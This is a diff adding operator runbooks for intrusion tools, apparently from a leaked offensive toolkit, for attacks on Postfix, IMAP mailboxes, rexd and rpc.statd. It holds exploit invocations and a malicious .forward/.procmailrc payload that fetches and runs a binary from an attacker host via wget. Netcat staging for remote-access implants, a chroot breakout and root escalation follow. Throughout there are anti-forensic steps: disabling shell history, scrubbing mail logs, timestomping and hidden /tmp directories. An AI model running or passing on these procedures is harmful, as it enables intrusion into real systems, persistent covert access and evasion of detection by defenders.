+:%s/WORK_DIR/WORK_DIR/g +`x + + +## Set up redirector +-tunnel +l 2500 TARGET_IP 25 +r NETCAT_PORT 127.0.0.1 NETCAT_PORT + +## set up a netcat listener in a local scripted window +## to upload a STATICALL COMPILED NOPEN +nc -l -v -p NETCAT_PORT < noserver-static + +## run exploit in a local scripted window +#Usage: ./enterseed.py [-search] [-u] [-fuploaded-filename] +#Platforms 1: SuSE 9.0 RPM (postfix-2.0.14-41) +# 2: SuSE 9.1 RPM (postfix-2.0.19_20040312-11) +# 3: ASP Linux 9 RPM (postfix-2.0.8-1asp) + +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 1 +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 1 -uroot@TARGET_IP +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 2 +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 2 -uroot@TARGET_IP +./enterseed.py 127.0.0.1 2500 PITCH_IP NETCAT_PORT 3 -uroot@TARGET_IP -search1 + +## once the exploit calls back and nopen uploaded connect to noserver +-nstun TARGET_IP + +## check to see if you are chroot'd +-lt / + +## if it looks like +#drwx------ 2 postfix root 4096 Apr 27 04:35 2003 corrupt +#drwx-wx--- 2 postfix postdrop 4096 Apr 27 04:35 2003 maildrop +#drwx------ 2 postfix root 4096 Apr 27 04:35 2003 saved +#drwxr-xr-x 3 root root 4096 Nov 17 07:22 2004 usr +#drwxr-xr-x 18 root root 4096 Nov 17 07:22 2004 . +#drwxr-xr-x 2 root root 4096 Nov 17 07:22 2004 lib +#drwx------ 2 postfix root 4096 Nov 17 07:22 2004 hold +#drwxr-xr-x 26 root root 4096 Nov 17 07:36 2004 .. +#drwxr-xr-x 2 root root 4096 Nov 18 12:54 2004 etc +#drwx------ 18 postfix root 4096 Nov 18 14:50 2004 active +#drwx------ 18 postfix root 4096 Nov 18 14:50 2004 bounce +#drwx------ 18 postfix root 4096 Dec 1 12:37 2004 deferred +#drwx------ 3 postfix root 4096 Dec 1 14:53 2004 flush +#drwxr-xr-x 2 root root 4096 Dec 1 14:53 2004 pid +#drwx------ 15 postfix root 4096 Dec 8 14:00 2004 defer +#drwx------ 2 postfix root 4096 Mar 4 15:34 2005 private +#drwx--x--- 2 postfix postdrop 4096 Mar 4 15:34 2005 public +#drwxrwxrwx 19 postfix root 4096 Mar 7 11:36 2005 incoming +## this means you are in a chrooted environment without any binaries +## (no ls, netstat, ps, which, w, ...) + +## IF NOT CHROOTED, continue to clean logs + +## IF CHROOTED +-cd incoming + +-put /current/up/h h +-put /current/up/b b +-put /current/up/s s +-put /current/up/noserver ncd + +## change permissions +./s h +./s b +./s ncd +./s . + +## run break chroot routines +./h + +## you should be able to connect to a new nopen running +-nstun TARGET_IP 32755 + +## CLEANUP +## the location of the chrooted environment was /var/spool/postfix/ +-lt /var/spool/postfix/ +-lt /var/spool/postfix/incoming + +-rm b h s ncd a.. + +## CLEAN LOGS +## check logs /var/log/mail* /var/adm/mail* /var/log/messages /var/adm/messages +grep "stripping too many comments" /var/adm/mail* +grep "stripping too many comments" /var/log/mail* +grep "signal 11" /var/log/mail* +grep "signal 11" /var/adm/mail* +grep "bogus file" /var/adm/mail* +grep "bogus file" /var/log/mail* +grep "writable by everyone" /var/adm/mail* +grep "writable by everyone" /var/log/mail* +grep PITCH_IP /var/log/messages +grep PITCH_IP /var/adm/messages + +## if any of the directories or files were changed to world writable +## change them back because postfix will panic +chmod PREV_PERM /var/spool/postfix/incoming + +## ENJOY diff --git a/Linux/doc/old/etc/eyemask.script b/Linux/doc/old/etc/eyemask.script new file mode 100644 index 0000000..82cf35d --- /dev/null +++ b/Linux/doc/old/etc/eyemask.script @@ -0,0 +1,113 @@ +nc -v -l -p 53 < ../up/noserver-sparc-sun-solaris2.5.1 +noclient -l 25 +telnet 127.0.0.1 143 + +A000 LOGIN user password +A001 EXAMINE /etc/mail/sendmail.cf +A002 FETCH 1 RFC822 +A003 EXAMINE /etc/passwd +A004 FETCH 1 RFC822 +A003 EXAMINE /etc/shells +A004 FETCH 1 RFC822 +A005 EXAMINE .forward +A006 CREATE .forward +A007 CREATE .forward +A008 APPEND .forward (\Seen) {145} +"| /bin/ksh -c '/bin/cat/tmp/sendmail;chmod +x /tmp/sendmail;D=-c2.2.2.2:25 PATH=/tmp sendmail;rm -f /tmp/sendmail'" +A009 DELETE .forward +A010 LOGOUT + +telnet 127.0.0.1 25 +HELO helo +MAIL FROM: user@itt.badguy.net +RCPT TO: user@itt.badguy.net +DATA +. +QUIT + +# echo -e "HTTP/1.0 200\n" > new +# cat new noserver-2.6.1-i586.pc.linux.gnu.redhat-5.0 > sendmail +# nc -v -l -p 53 < sendmail + +# noclient -l 25 + +telnet 2.2.2.2 143 +A000 LOGIN user password +A001 EXAMINE /etc/mail/sendmail.cf +A002 FETCH 1 RFC822 +A003 EXAMINE /etc/passwd +A004 FETCH 1 RFC822 +A003 EXAMINE /etc/shells +A004 FETCH 1 RFC822 +A100 LIST /etc/smrsh * +A005 EXAMINE .forward +A006 CREATE .forward +A007 CREATE .forward +A008 APPEND .forward (\Seen) {11} +"| slocal" +A100 CREATE .maildelivery +A101 APPEND .maildelivery (\Seen) {37} +To user pipe A >/home/user/.g +A102 LIST "" % +A102 RENAME .g .procmailrc +A008 APPEND .procmailrc (\Seen) {128} +:0 c +|cd /tmp;wget http://2.2.2.2:53/sendmail; chmod +x /tmp/sendmail;D=-c2.2.2.2:25 PATH=/tmp sendmail;rm -f sendmail +A009 DELETE .forward +A009 DELETE .maildelivery +A009 DELETE .procmailrc +A010 LOGOUT + +telnet localhost 25 +HELO helo +MAIL FROM: user@localhost.localdomain +RCPT TO: user@localhost.localdomain +DATA +. +QUIT + +telnet fawn 143 +A000 LOGIN user password +A001 EXAMINE /etc/mail/sendmail.cf +A002 FETCH 1 RFC822 +A003 EXAMINE /etc/passwd +A004 FETCH 1 RFC822 +A003 EXAMINE /etc/shells +A004 FETCH 1 RFC822 +A102 LIST "/usr/bin/X11" % +A005 EXAMINE .forward +A006 CREATE .forward +A007 CREATE .forward +A008 APPEND .forward (\Seen) {50} +"| /usr/bin/*11/xterm -display 2.2.2.2:26000" +A009 DELETE .forward +A010 LOGOUT + +telnet fawn 25 +HELO helo +MAIL FROM: user@fawn.badguy.net +RCPT TO: user@fawn.badguy.net +DATA +. +QUIT + + + +/etc/release +/etc/inetd.conf + +001 LIST /tmp * +001 LIST /etc * +001 LIST "" % +001 LIST "/" % +#* SCAN / * a +#* SCAN / * . +# depth scanning +* SCAN /tmp * . +* SCAN /etc * . +* SCAN /etc/passwd * . + +unset HISTFILE +unset HISTFILESIZE +unset HISTSIZE + diff --git a/Linux/doc/old/etc/flag.png b/Linux/doc/old/etc/flag.png new file mode 100644 index 0000000..b8132a0 Binary files /dev/null and b/Linux/doc/old/etc/flag.png differ diff --git a/Linux/doc/old/etc/jacknopen.script.txt b/Linux/doc/old/etc/jacknopen.script.txt new file mode 100644 index 0000000..a610bab --- /dev/null +++ b/Linux/doc/old/etc/jacknopen.script.txt @@ -0,0 +1,189 @@ +################ +#### Jackpop to get a shell on target (Hey, +#### why didn't we try this before?) +################ + +# Don't forget: -jackpop does not like its old windows +# existing still on later tries. + +# port-to-jack: 25 works. 13 works. Maybe others? + +-jackpop REMOTEIP port-to-jack PITCH_IP random11111-44444-3 + +# Option 3 run command on target. +# Choose offset if needed, and IN bless or not. +3 + + +# Command to run: +cd /tmp ; ls -arlt ; mkdir .scsi ; cd .scsi ; ls -alrt ; pwd ; exec sh + + +# That popped up window is sort-of a shell,make sure you're in /tmp/.scsi +# and it's empty. + +################ +#### WARNING: +#### This popped up shell window must be exited with "exit" and NOT ^D. +#### If you exit with ^D the sh and maybe other processes will be +#### stranded and not die cleanly. +################ +# This is important: without it the uudecode fails, but +# otherwise it doesn't do much visibly. +stty -echo + +# We use this shell to upload poptop and noserver. +# But first...(paste the whole bunch) +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE +type perl uudecode uncompress tar + + +# if the type command fails try: +which perl uudecode uncompress tar + +###### +## LOCAL PREP (can do from any local dir--paste complete blocks) +## Some of these you willl not use, FYI. +###### + + +## Make sure this is right noserver +cp /current/up/noserver /current/up/sendmail +## pick right poptop +cp /current/up/poptop.sparc /current/up/pt +sum -s /current/up/pt /current/up/sendmail +chown 0:0 /current/up/pt* /current/up/sendmail* +tar -C /current/up -cvf /current/up/u.tar sendmail pt +compress -c /current/up/u.tar > /current/up/u.tar.Z +uuencode /current/up/u.tar.Z u.tar.Z > /current/up/u.tar.Z.uu +gedit /current/up/u.tar.Z.uu& +ls -arlt /current/up | egrep "uu$|u.tar|sendmail| pt|poptop|noserver" + + +## Probably don't need the rest unless target has no tar or uncompress: +uuencode /current/up/pt pt > /current/up/pt.uu +uuencode /current/up/sendmail sendmail > /current/up/sendmail.uu +uuencode /current/up/u.tar u.tar > /current/up/u.tar.uu +gedit /current/up/*.uu& +ls -arlt /current/up | egrep "uu$|u.tar|sendmail| pt|poptop|noserver" + + +#################################### EITHER THIS (if uudecode on target) +###### +## REMOTE +###### +uudecode + +###### +## LOCALLY select the gedit tab for what you want to +## paste up there (based on whether uncompress is there). +## The top one, u.tar.Z, is likely what you want. +## Then middle-click paste it into target window. +###### + +#################################### OR THIS (if perl is there) + +###### +## no uudecode but we do have perl on target? +###### +## LOCALLY run one of these (brings up new tab in gedit--use it) +## if uncompress on target +uudecode.pastable /current/up/u.tar.Z u.tar.Z +## if not +uudecode.pastable /current/up/u.tar u.tar + +###### +## LOCALLY select the gedit tab for what you want to +## paste up there (based on whether uncompress is there) +## Then middle-click paste it into target window. +###### + +#################################### THEN FOLLOW WITH THIS + +###### +## REMOTE--choose whatever makes sense--all should be safe +###### +ls -arlt + +uncompress *Z +for i in *tar ; do tar xvf $i ; done +ls -arlt + + +## If it unpacked OK. +rm u.tar* + + +#################################### ARE WE THERE YET? + +###### +## LOCALLY Start this in a scripted window +## local poptop always connects to 8080 +###### +noclient -l 8080 + + +###### +## REMOTE -- Time to run NOPEN (and it inherits this session via pt) +###### + +# Start server listening +PATH=. D=-lrandom22222-55555-1 sendmail + +# Use this session to connect to it via pt +# (you should see "tty should be setup...") +PATH=. pt random22222-55555-1 + + +# Typing this next "---\n" string activates poptop here and +# there to connect a local noclient to the remote noserver +# via this already established TCP session. +--- + + +###### +## FINI - clean up a bit +###### +## Once NOPEN is up and running, both the previous hop's +## noclient window where -jackpop was run and the +## shell window it popped up will be tied up. +## Post -burnBURN on the new nopen, the popped up +## window should exit on its own. DONE in the -jackpop +## window. +###### +-cd /tmp +rm -rf /tmp/.scsi + +# Op away.... + +###### +## Need multiple windows? +###### +-tunnel +l random22222-55555-1 127.0.0.1 random22222-55555-1 + +###### +## LOCALLY then +###### +noclient -c "-cd /tmp" 127.0.0.1:random22222-55555-1 + + + +## Bailing +-burn +BURN + + +DONE + + + +PATH=. D=-l18787 sendmail +cd /tmp +PATH=/tmp/.scsi pt 18787 + + + + diff --git a/Linux/doc/old/etc/jlop.script b/Linux/doc/old/etc/jlop.script new file mode 100644 index 0000000..d74d93b --- /dev/null +++ b/Linux/doc/old/etc/jlop.script @@ -0,0 +1,158 @@ +## +## Setup. +## +xrdb /mnt/zip/etc/Xdefaults +cd /mnt/zip/targets +export PATH=/mnt/zip/bin:$PATH +export cn= + ###COVER_NAME### + +#### Target Windows. +export DISPLAY=:0.1 +xterm -name tw -title JL--${cn} -e script -a ${cn}/script-JL.$(date +%Y%m%d) & +xterm -name tw -title IN--${cn} -e script -a ${cn}/script-IN.$(date +%Y%m%d) & +xterm -name tw -title ZBD--${cn} -e script -a ${cn}/script-ZBD.$(date +%Y%m%d)& +xterm -name tw -title CMD--${cn} -e script -a ${cn}/script-CMD.$(date +%Y%m%d)& +export DISPLAY=:0 +xterm -name tcp -title TCPDUMP -e script -a ${cn}/tcp.$(date +%Y%m%d) & + +#### Setup ftp access for tool grab. +adduser -u 9999 -g 50 -d /mnt/zip/pub -s /bin/false -c "ftp user" anon +passwd anon + mozilla@netscape.com + +rm -rf /mnt/zip/pub/.* /mnt/zip/pub/Desktop + +cp -f /mnt/zip/etc/shells /etc/shells +cp -f /mnt/zip/bin/zbd_s /mnt/zip/pub/ncsd +cp -f /mnt/zip/targets/${cn}/deploy/tar0.Z /mnt/zip/pub/tar0.Z +compress /mnt/zip/pub/ncsd + +#### Get connected. +xisp & +tcpdump -ni ppp0 +---- +ifconfig eth0 203.151.44.3 netmask 255.255.255.0 +route add default gw 203.151.44.1 eth0 +tcpdump -ni eth0 + + +## +## Setup for JL. Use JL window. +## +conf.iptables +jl +jl.nc + + +## +## If you will be using INCISION, start this in the IN window. +## +keys=quivertree ftshell tn -v -p 17325 localhost + + +## +## If you are going to use ZBD, then run this in the ZBD window. +## +ls -l /mnt/zip/tools/nscd.uu +nc -l -p 32711 < /mnt/zip/tools/nscd.uu + + +## +## If you do not want JL to connect back to you, then do this... +## +> /mnt/zip/bin/.PORT +echo /dev/null > /mnt/zip/bin/.TTY + + +## +## JL into target. Use CMD window. +## + +#### Choose one of the following commands to run at the "remote cmd:" prompt. +--- For interact in a Bourne shell --- +exec sh + +--- To run a an INCISION sysiddev already installed. --- +exec /usr/sbin/sysiddev ###LOCALIP### ###PORT### -i -- /usr/lib/sendmail -bd -q1h + +--- To upload & start ZBD. --- +PATH=:/usr/bin export PATH; echo "rm \$0; mkdir /tmp/.X11R6; cd /tmp/.X11R6; telnet ###LOCALIP### 32711 | uudecode; uncompress nscd.Z; chmod 700 nscd; nscd" > .spool; sh .spool + +#### Then, issue the following commands to sendmail to avoid logging. +(smtp) mail +(smtp) quit + + +## +## If you use the Bourne shell in the JL window to upload tools... +## +PATH=:/bin:/usr/bin:/sbin:/usr/sbin:/usr/ccs/bin:/usr/local/bin +export PATH + +wdir=/tmp/.X11R6 +ls -l $wdir + # if it exists, then use something else. +mkdir $wdir +chmod 700 $wdir +cd $wdir +pwd +stty sane + +ftp -n +ftp> open ###LOCALIP### +ftp> user anon mozilla@netscape.com +ftp> bin +ftp> get ncsd.Z +ftp> bye + +uncompress ncsd.Z +chmod +x ncsd +ncsd + + +## +## If you use zbd in the ZBD window to upload tools... +## +zbd_c ###TARGETIP### +PATH=:/bin:/usr/bin:/sbin:/usr/sbin:/usr/ccs/bin:/usr/local/bin +export PATH + +upload /mnt/zip/pub/tar0.Z +uncompress tar0.Z && tar xf tar0 + +cp /usr/sbin/modload ml +ml bio + +sy ###LOCALIP### 17325 -i & + + +## +## Once TN connects, begin op... +## +PATH=:/bin:/usr/bin:/sbin:/usr/sbin:/usr/ccs/bin:/usr/local/bin +export PATH + +wdir=/tmp/.X11R6 +mkdir $wdir +cd $wdir +pwd +w +stty sane + +#### if :( then... +# ~~p /mnt/zip/targets/quivertree/deploy/bio bio +# modload bio; rm bio +# sysiddev 212.62.190.2 17325 -i & + + +## +## Clean up. +## +cd /tmp; rm -rf $wdir +ls -al $wdir +exit +^d + +userdel -r anon +rm -rf /mnt/zip/pub diff --git a/Linux/doc/old/etc/rexdx.script b/Linux/doc/old/etc/rexdx.script new file mode 100644 index 0000000..0238780 --- /dev/null +++ b/Linux/doc/old/etc/rexdx.script @@ -0,0 +1,243 @@ +###### Start of REXDX rexdx scripting... +## % rexdx +## ++++++++++++++++++++++++++++++++++++++++++++++++++ +## rexdx: parameters being used... +## [-P] target_path..... +## [-u] user_id.........1 +## [-g] group_id........1 +## [-i] ip_address...... +## [-h] host_name....... +## [-l] listen_port.....0 +## [-p] rexd_port.......0 +## [-c] command_string.. +## [-s] shell_string.... +## [-d] delay_seconds...5 +## ++++++++++++++++++++++++++++++++++++++++++++++++++ +## BONK!!! No ip_address (-i option) specified! +## BONK!!! No host_name (-h option) specified! +## BONK!!! No command_string (-c option) specified! +## BONK!!! No listen_port (-l option) specified! +## usage: rexdx -P target_path -u uid -n gid -i remoteIP \ +## -i remoteIP -h remoteHostname \ +## -l listenPort -p rexdPort -d delaySeconds \ +## -c commandString -s shellString +## % + +## The touch... +# ./rpc_p -t REMOTEIP + program vers proto port service +--> 100017 1 tcp 32772 rexd + +## Notes from some "rexd/rpc.rexd" testing... +## +## 1. You gotta get the hostname right. If not, the "rex" daemon will +## attempt to mount your "rex" directory using "mountd", instead of +## believing your "rex" directory is local, and then "chdir" into it. +## Symptom is a bounced attempt, and either (1) one returned data packet +## from the host, saying something clever like... +## +## rexd: not running a mount daemon +## translation --> the you shipped does not equate to what it thinks +## its current hostname is, but it does appear in its hostname +## database...so your target tried to mount the "rex" directory +## from the you shipped +## +## rexd: mount :/: not in hosts database.... +## translation --> the you shipped does not equate to what it thinks +## its current hostname is, and it does not appear in its hostname +## database +## +## ...or (2) a fairly immediate TCP FIN from the target. +## +## If you end up getting a mount attempt issued inadvertently on your +## behalf by "rexd", you may also end up with a "temporary" (which stays +## around for life) directory named... +## +## HP/UX --------> /var/spool/rexd +## IBM AIX & Solaris 2.X --> /tmp_rex +## SGI ----------> /var/tmp_rex +## +## ...oh, yeah: the mount attempt may also get logged. +## +## 2. Don't blow the command, please. You'll receive a... +## +## rexd: can't exec +## +## 3. Some implementations have a command line option on "rexd" to require +## DES authentication, which means no joy for us. If they do, you'll get +## a response something like... +## +## call failed: RPC: Authentication error; why = Client credential too weak +## +## HP/UX... +## IBM AIX... +## SCO... +## SGI... +## All these guys specifically _deny_ "root" user remote execution... +## +## rexd: root execution not allowed +## +## ...so, remember, don't do rooty things on them via "rexd". +## +## HP/UX, SGI & SCO also log it, ala... +## Feb 2 17:00:20 3E:target rexd[1955]: root execution from 123.123.123.123 not allowed +## +## Solaris 2.X allows "root" (0:0) execution just fine...gold! +## +## NOTE **** If they're running "rpc.rexd -r", and our userid is _not_ +## **** valid... +## +## 1. We'll see... +## +## rlt_stat:1 (0x1) +## rlt_message:rexd: User id 18888 not valid +## +## Bailing... +## +## 2. If they're logging via "rpc.rexd -l logfile" also, a bogus +## userid will be logged as something nice like... +## +## 02.13 09:02:01 hostname pid=20477 rpc.rexd +## rexd: User id 18888 not valid + +## HP/UX ## ## REXDX...as "daemon:daemon", "1:5" on HP/UX... +## HP/UX ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## HP/UX ## -u 1 -g 5 -c "/bin/sh -c" -s "date; id; uname -a; w; ps -ef" +## HP/UX ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## HP/UX ## -u 1 -g 5 -c "/bin/sh -c" -s "cat /etc/syslog.conf" +## HP/UX ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## HP/UX ## -u 1 -g 5 \ +## HP/UX ## -c "/bin/sh -c" -s "tail -100 /var/adm/syslog/syslog.log" +## HP/UX ## +## HP/UX ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## HP/UX ## -u 1 -g 5 -c "/bin/sh -i" + +## IBM AIX ## REXDX...as "daemon:daemon", "1:1" on IBM AIX... +## IBM AIX ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## IBM AIX ## -u 1 -g 1 -c "/bin/sh -c" -s "date; id; uname -a; w; ps -ef" +## IBM AIX ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## IBM AIX ## -u 1 -g 1 -c "/bin/sh -c" -s "cat /etc/syslog.conf" +## IBM AIX ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## IBM AIX ## -u 1 -g 1 \ +## IBM AIX ## -c "/bin/sh -c" -s "tail -100 /var/adm/messages" +## IBM AIX ## +## IBM AIX ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## IBM AIX ## -u 1 -g 1 -c "/bin/sh -i" + +## Solaris 2.X ## ## REXDX...as "root:root", "0:0" on Solaris 2.X... +## Solaris 2.X ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## Solaris 2.X ## -u 0 -g 0 -c "/bin/sh -c" -s "date; id; uname -a; w; ps -ef" +## Solaris 2.X ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## Solaris 2.X ## -u 0 -g 0 -c "/bin/sh -c" -s "cat /etc/syslog.conf" +## Solaris 2.X ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## Solaris 2.X ## -u 0 -g 0 \ +## Solaris 2.X ## -c "/bin/sh -c" -s "tail -100 /var/adm/messages" +## Solaris 2.X ## +## Solaris 2.X ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## Solaris 2.X ## -u 0 -g 0 -c "/bin/sh -i" + +## SGI ## ## REXDX...as "daemon:daemon", "1:1" on SGI... +## SGI ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## SGI ## -u 1 -g 1 -c "/bin/sh -c" -s "date; id; uname -a; w; ps -ef" +## SGI ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## SGI ## -u 1 -g 1 -c "/bin/sh -c" -s "cat /etc/syslog.conf" +## SGI ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## SGI ## -u 1 -g 1 \ +## SGI ## -c "/bin/sh -c" -s "tail -100 /var/adm/SYSLOG" +## SGI ## +## SGI ## rexdx -i REMOTEIP -h HOSTNAME -p REMOTEPORT -l 32177 \ +## SGI ## -u 1 -g 1 -c "/bin/sh -i" + +## For shell...(daemon gets "/sbin/sh" or "/bin/sh" on a true login)... +set +unset HISTFILE +unset HISTSIZE +unset HISTFILESIZE + +#### if (you need a local...i.e. you didn't get "root") then + ## 1. Set up our local RAT netcat + ## 2. Telnet back to upload the RAT, fire it up + ## 3. Connect to "daemon" nosy + ## 4. Set up our local LOCALXP netcat + ## 5. Upload appropriate local + ## 6. Run appropriate local + ## 7. You be "root"... + + ## "RAT" upload ## ## Netcat... + ## "RAT" upload ## cd ../up + ## "RAT" upload ## cp RAT_EXECUTABLE ALIAS; compress ALIAS + ## "RAT" upload ## uuencode ALIAS.Z ALIAS.Z > ALIAS.uu + ## "RAT" upload ## ls -l ALIAS* + ## "RAT" upload ## nc -l -p NETCATPORT < ALIAS.uu + + ## Go fetch and fire up our RAT... + mkdir WORKINGDIR; chmod 700 WORKINGDIR + cd WORKINGDIR + telnet LOCALIP NETCATPORT > ALIAS.uu + uudecode ALIAS.uu && uncompress ALIAS.Z && chmod 700 ALIAS; ls -la + 0<&- 1<&- 2<&- PATH=. ALIAS + + ## LOCAL upload ## ## Netcat... + ## LOCAL upload ## cd ../up + ## LOCAL upload ## cp LOCALXP LOCALALIAS; compress LOCALALIAS; + ## LOCAL upload ## uuencode LOCALALIAS.Z LOCALALIAS.Z > LOCALALIAS.uu + ## LOCAL upload ## ls -l LOCALALIAS* + ## LOCAL upload ## nc -l -p NETCATPORT < LOCALALIAS.uu + + ## "local" upload & execution... + cd WORKINGDIR; telnet LOCALIP NETCATPORT > LOCALALIAS.uu + uudecode LOCALALIAS.uu; uncompress LOCALALIAS.Z; ls -la + LOCALALIAS + + ## GOT ROOT? + ## Bag any shell history... + unset HISTFILE + unset HISTFILESIZE + unset HISTSIZE + + ## Manufacture our working directory... + ls -la /tmp + mkdir WORKINGDIR + chown -R root:root WORKINGDIR; chmod -R og-rwx WORKINGDIR; ls -al + + ## Make its time look a bit more convincing... + touch -r SOMEDIRECTORY WORKINGDIR; ls -la /tmp + + ## RAT's already here, fire it off as "root"... + cd WORKINGDIR + 0<&- 1<&- 2<&- PATH=. P=RATPORT ALIAS + rm ALIAS ALIAS.uu; ls -la +#### else + ## GOT ROOT? + ## Bag any shell history... + unset HISTFILE + unset HISTFILESIZE + unset HISTSIZE + + ## Manufacture our working directory... + ls -la /tmp + mkdir WORKINGDIR + chown -R root:root WORKINGDIR; chmod -R og-rwx WORKINGDIR; ls -al + + ## Make its time look a bit more convincing... + touch -r SOMEDIRECTORY WORKINGDIR; ls -la /tmp + + ## "RAT" upload ## ## Netcat... + ## "RAT" upload ## cd ../up + ## "RAT" upload ## cp RAT_EXECUTABLE ALIAS; compress ALIAS; + ## "RAT" upload ## uuencode ALIAS.Z ALIAS.Z > ALIAS.uu + ## "RAT" upload ## ls -l ALIAS* + ## "RAT" upload ## nc -l -p NETCATPORT < ALIAS.uu + + ## Go fetch and fire up our RAT... + cd WORKINGDIR + telnet LOCALIP NETCATPORT > ALIAS.uu + uudecode ALIAS.uu && uncompress ALIAS.Z && chmod 700 ALIAS; ls -la + 0<&- 1<&- 2<&- PATH=. ALIAS + rm ALIAS ALIAS.uu; ls -la +#### + +## Once we have our RAT up and connected, get outta Dodge, and use the RAT... +exit 0 + +###### End of REXDX rexdx scripting... diff --git a/Linux/doc/old/etc/statdxscript.txt b/Linux/doc/old/etc/statdxscript.txt new file mode 100644 index 0000000..4d8a432 --- /dev/null +++ b/Linux/doc/old/etc/statdxscript.txt @@ -0,0 +1,132 @@ +### statdx (originally) by ron1n +### +### Modified to be TCP by default, and TCP code has been modified +### to reuse the initial RPC connection for your session...cool. +### +### Usage: ./statdx [-r proc] [-u] [-p port] [-a addr] [-l len] +### [-o offset] [-w num] [-s secs] [-d type] +### -r remote procedure to smack...choices are: +### 1 SM_STAT (the default) +### 2 SM_MON.........vulnerable, but not smackable yet +### 3 SM_UNMON.......vulnerable, but not smackable yet +### 4 SM_UNMON_ALL...vulnerable, but not smackable yet +### NOTE SM_SIMU_CRASH(5) and SM_NOTIFY(6) are NOT vulnerable +### -u attack a udp dispatcher [tcp] +### -p rpc.statd serves requests on [query] +### -a the stack address of the buffer is +### -l the length of the buffer is [1024] +### -o the offset to return to is [600] +### -w the number of dwords to wipe is [9] +### -s set timeout in seconds to [5] +### -d use a hardcoded +### Available types: +### 0 Redhat 6.2 (nfs-utils-0.1.6-2) +### 1 Redhat 6.1 (knfsd-1.4.7-7) +### 2 Redhat 6.0 (knfsd-1.2.2-4) + +*** Don't forget to use "sgrep" to clean the whopper log entry +*** you'll leave in "/var/log/messages" as a results of your +*** "statdx" attack... + +## Using "nmap" to scan for "rpc.statd" on your target? Say, for example, +## a scan of TCP ports 600 through 699, 'cause "portmapper" ain't talkin'? +nmap -sS -p600-699 TARGETIP +rpcinfo -n TARGETPORT -t TARGETIP 100024 + +*** +*** From a Linux box........."statdx" is really "statdx.linux" +*** From a Solaris 2.X box..."statdx" is really "statdx.sparc" +*** + +## If doing a TCP attack to a Redhat 6.2 target w/port (PREFERRED!!!)... +# Smack... +statdx -d 0 -p TARGETPORT TARGETIP + +## If doing a TCP attack to a Redhat 6.2 target wo/port... +# Smack... +statdx -d 0 TARGETIP + +## If doing a UDP attack to a Redhat 6.2 target... +## NOTE -- the UDP attack will require another connection, from +## your local IP to the target's port 38912 (used to be +## port 39168 with the default publicly known exploit, +## but this port started showing up in IDS rulesets, go +## figure...STUPID WORM!!!!!!). + +# Verify that the subsequent TCP connection will work... +telnet TARGETIP 38912 +# Smack... +statdx -d 0 -u TARGETPORT TARGETIP +--- or --- +statdx -d 0 -u TARGETIP + +### Once "root"...restart the "rpc.statd"...be a considerate hacker... + +## Upload the appropriate restart script from ../bin on LOCALIP +## +## 6.2 (Zoot): ../bin/restart.62.sh --> rs; chmod 700 rs +## 6.1 (Cartman): ../bin/restart.61.sh --> rs; chmod 700 rs +## 6.0 (Hedwig): ../bin/restart.60.sh --> rs; chmod 700 rs +## +## NOTE -- If you upload and execute the WRONG restart script, +## you may be unable to attack "rpc.statd" until your +## system reboots, due to a hosed buffer address. + +## 6.2 (Zoot) (nfs-utils-0.1.6-2) +ps -ef |grep rpc +/usr/sbin/lsof |grep ^sh +0<&- 1<&- 2<&- rs +ps -ef |grep rpc +/usr/sbin/lsof | grep rpc.statd + +## 6.1 (Cartman) (knfsd-1.4.7-7) +ps -ef |grep rpc +/usr/sbin/lsof |grep ^sh +0<&- 1<&- 2<&- rs +ps -ef |grep rpc +/usr/sbin/lsof | grep rpc.statd + +## 6.0 (Hedwig) (knfsd-1.2.2-4) +ps -ef |grep rpc +/usr/sbin/lsof |grep ^sh +0<&- 1<&- 2<&- 3<&- 4<&- 5<&- 7<&- 9<&- 21<&- rs +ps -ef |grep rpc +/usr/sbin/lsof | grep rpc.statd + +### +### Time to upload your RAT of choice...make working directory... +id +mkdir /tmp/.X11R6; chmod 700 /tmp/.X11R6; ls -la /tmp + +chown root:root /tmp/.X11R6; ls -la /tmp +** or, for GNOME (if you see other "gdm" stuff in "/tmp"...) ** +chown root:gdm /tmp/.X11R6; ls -la /tmp + +## Start up your "netcat" on your attack hosts, ala... +ls -l httpd.uu +nc -l -p 31117 < httpd.uu + +## Move into our working directory, then call back for the RAT... +cd /tmp/.X11R6; pwd +telnet LOCALIP 31117 > httpd.uu +uudecode httpd.uu && uncompress httpd.Z && chmod 700 httpd; ls -la +0<&- 1<&- 2<&- PATH=. httpd +rm httpd httpd.uu; ls -la + +### Connect from your local IP + +### Outta here... +### +exit 0 + +### Grab +## /boot most everythig, but probably just what's related in lilo.conf +## /lib/modules +## /etc/modules.conf or conf.modules +## /etc/lilo.conf +## /etc/ppp/pap-secrets /etc/ppp/chap-secrets +## /etc/redhat-release or any release file like that. +## /etc/{any other conf files?} + +### List /usr/src for any linux or rpm source info +## Run lilo -q diff --git a/Linux/doc/old/etc/suctionchar.sample.filter.conf b/Linux/doc/old/etc/suctionchar.sample.filter.conf new file mode 100644 index 0000000..af9fc46 --- /dev/null +++ b/Linux/doc/old/etc/suctionchar.sample.filter.conf @@ -0,0 +1,48 @@ + +filter 0 + name = ssh + collect = read AND write +end + +filter 1 + name 